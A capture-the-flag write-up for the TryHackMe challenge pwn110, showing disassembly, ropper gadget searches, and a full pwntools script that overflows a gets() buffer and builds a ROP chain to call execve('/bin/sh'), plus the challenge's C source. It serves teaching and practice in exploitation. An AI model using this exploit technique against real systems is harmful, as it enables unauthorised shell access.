pwn110 - Playing with ROP

Discovery

# ./pwn110.pwn110
       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 110

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
AAAAAAA

# file ./pwn110.pwn110
./pwn110.pwn110: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9765ee1bc5e845af55929a99730baf4dccbb1990, for GNU/Linux 3.2.0, not stripped

# gdb ./pwn110.pwn110                                                                                                                                                                                   pwndbg> checksec
[*] '/mnt/work/tryhackme/pwn101/110/pwn110.pwn110'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

RELRO information is no relevant in a static executable

checksec find a canary but desassembling the main we dont see any protection

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000401e61 <+0>:     endbr64
   0x0000000000401e65 <+4>:     push   rbp
   0x0000000000401e66 <+5>:     mov    rbp,rsp
   0x0000000000401e69 <+8>:     sub    rsp,0x20
   0x0000000000401e6d <+12>:    mov    eax,0x0
   0x0000000000401e72 <+17>:    call   0x401de5 <setup>
   0x0000000000401e77 <+22>:    mov    eax,0x0
   0x0000000000401e7c <+27>:    call   0x401e4a <banner>
   0x0000000000401e81 <+32>:    lea    rdi,[rip+0x93298]        # hello
   0x0000000000401e88 <+39>:    call   0x411bd0 <puts>
   0x0000000000401e8d <+44>:    lea    rdi,[rip+0x932bc]        # well done
   0x0000000000401e94 <+51>:    call   0x411bd0 <puts>
   0x0000000000401e99 <+56>:    lea    rax,[rbp-0x20]
   0x0000000000401e9d <+60>:    mov    rdi,rax
   0x0000000000401ea0 <+63>:    mov    eax,0x0
   0x0000000000401ea5 <+68>:    call   0x411a10 <gets>
   0x0000000000401eaa <+73>:    nop
   0x0000000000401eab <+74>:    leave
   0x0000000000401eac <+75>:    ret
End of assembler dump.

gets read on rbp-0x20 so 40 caracters will smatch SRBP and 48 SRIP

The program is staticaly linked. We don’t have a libc but a lot of instructions.

There is no PIE. The addresses are fixed.

nm pwn110.pwn110 |grep " T " |wc -l
728

The programme contains 728 symbols and probabely a lot of widgets.

Building the ROP chaine

Our goal is to execute an instruction execve with de programe β€œ/bin/sh” as argument.

We dont have the libc fonction execve available in the program so we have to use the syscall instruction.

The sys_exeve syscall call prototype is:

rax function rdi rsi rdx

59 sys_execve const char *filename const char *const argv[] const char *const envp[]

The we have to :

  1. Store the string β€œ/bin/sh”
  2. Build a argv zone argv : pointer to /bin/sh | null pointer
  3. load rdi with the /bin/sh address
  4. load rsi with the argv address
  5. Set rdx to zero

To store the data we can use the .data section.

readelf -S .data pwn110.pwn110
…
  [21] .data             PROGBITS         00000000004c00e0  000bf0e0
       0000000000001a50  0000000000000000  WA       0     0     32
…

.data has a static address 0x4c00e0 and a large size of 0x1a50.

Some sample of gadget search with ropper:

Finding syscall gadget :

# ropper  -f pwn110.pwn110 --search "syscall; ret"
. . .
0x00000000004173d4: syscall; ret;

Finding pop rdi; ret

# ropper -f pwn110.pwn110 --search 'pop rdi; ret'
[INFO] Load gadgets from cache
[INFO] Searching for gadgets: pop rdi; ret
[INFO] File: pwn110.pwn110
0x000000000040191a: pop rdi; ret;

To write in memory we need a gadget like β€œmov [reg1], reg2”

# ropper -f pwn110.pwn110 --search 'mov [rdi], r%; ret'
…
0x00000000004340a3: mov qword ptr [rdi], rdx; ret;

rdi β€”> data : /bin/sh\0

rsi β€”> data+8 : data

       data+16 : \0

Intitialize a payload with the prefix for overfow.

data = 0x4c00e0
PL=b'A'*40

Step 0 : Initialize rdi

# Ini data
PL+=p64(0x0040191a) # pop rdi; ret;
PL+=p64(data)

Step 1 : write /bin/sh\0 in data

PL+=p64(0x0040181f) # pop rdx; ret;
PL+=b'/bin/sh\x00'
PL+=p64(0x004340a3) # mov qword ptr [rdi], rdx; ret;

Step2 : write @data in data+8

# binsh | @binsh
PL+=p64(0x00419ad4) # mov rax, rdi; ret;
PL+=p64(0x00417a8a) # mov qword ptr [rdi + 8], rax; ret;

Step3. Add zero in data+16

# binsh | @binsh | null
PL+=p64(0x00443e30) # xor rax, rax; ret
PL+=p64(0x0040181f) # pop rdx; ret;
PL+=p64(data+0x10)  # argv[1]
PL+=p64(0x00419748) # mov qword ptr [rdx], rax; ret;

Step4. Set rsi to argv = @data+8

PL+=p64(0x0040f4de) # pop rsi; ret;
PL+=p64(data+8)     # argv[0]
PL+=p64(0x004497d7) # pop rax; ret;

Step5. syscall(sys_execve, β€œ/bin/sh”, data+8, 0)

PL+=p64(59)        # Sys_execve
PL+=p64(0x004173d4) # syscall; ret;

finaly to avoid a crash when execve return an error : syscall(exit)

PL+=p64(60)        # sys_exit
PL+=p64(0x004173d4) # syscall; ret;

Final source

#!/usr/bin/env python3

from pwn import *
import sys

REMOTE=False
GDB=False

server = "pwn101.thm"
port = 9010
file="./pwn110.pwn110"

gs = '''
b *main+68
'''
elf = ELF(file)

# simple arg parsing
if len(sys.argv)>1 :
    if  sys.argv[1] == '-r':
        REMOTE=True
    if  sys.argv[1] == '-d':
        GDB=True

if REMOTE:
    try:
        io = remote(server, port)
    except:
        log.info(f"Cant connect to {server}")
        exit()
else:
    if GDB:
        io = gdb.debug(file, aslr=False, gdbscript=gs)
        #gdb.attach(io, gs)
    else:
        io = process(file)

io.info("**** ropchaine *****")

data = 0x4c00e0
PL=b'A'*40

# Set rdi to data
PL+=p64(0x0040191a) # pop rdi; ret;
PL+=p64(data)

# binsh
PL+=p64(0x0040181f) # pop rdx; ret;
PL+=b'/bin/sh\x00'
PL+=p64(0x004340a3) # mov qword ptr [rdi], rdx; ret;

# binsh | @binsh
PL+=p64(0x00419ad4) # mov rax, rdi; ret;
PL+=p64(0x00417a8a) # mov qword ptr [rdi + 8], rax; ret;

# binsh | @binsh | null
PL+=p64(0x00443e30) # xor rax, rax; ret
PL+=p64(0x0040181f) # pop rdx; ret;
PL+=p64(data+0x10)
PL+=p64(0x00419748) # mov qword ptr [rdx], rax; ret;

PL+=p64(0x0040f4de) # pop rsi; ret;
PL+=p64(data+8)
PL+=p64(0x004497d7) # pop rax; ret;
PL+=p64(59)
PL+=p64(0x004173d4) # syscall; ret;
PL+=p64(60)
PL+=p64(0x004173d4) # syscall; ret;

io.sendline(PL)

io.sendline(b'id')
io.interactive()

Annexe. The source of pwn110

$ cat pwn110.c
#include <stdio.h>
#include <stdlib.h>

void setup(){
    setvbuf(stdout,(char *)0x0,2,0);
    setvbuf(stderr,(char *)0x0,2,0);
    setvbuf(stdin,(char *)0x0,2,0);
}

void banner(){
    puts(
"       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”\n"
"        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€ \n"
"        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜\n"
"                 pwn 110          \n"
    );
}

void main(){
    setup();
    banner();
    char pwn_me[20];

    puts("Hello pwner, I'm the last challenge 😼");
    puts("Well done, Now try to pwn me without libc 😏");
    gets(pwn_me);
}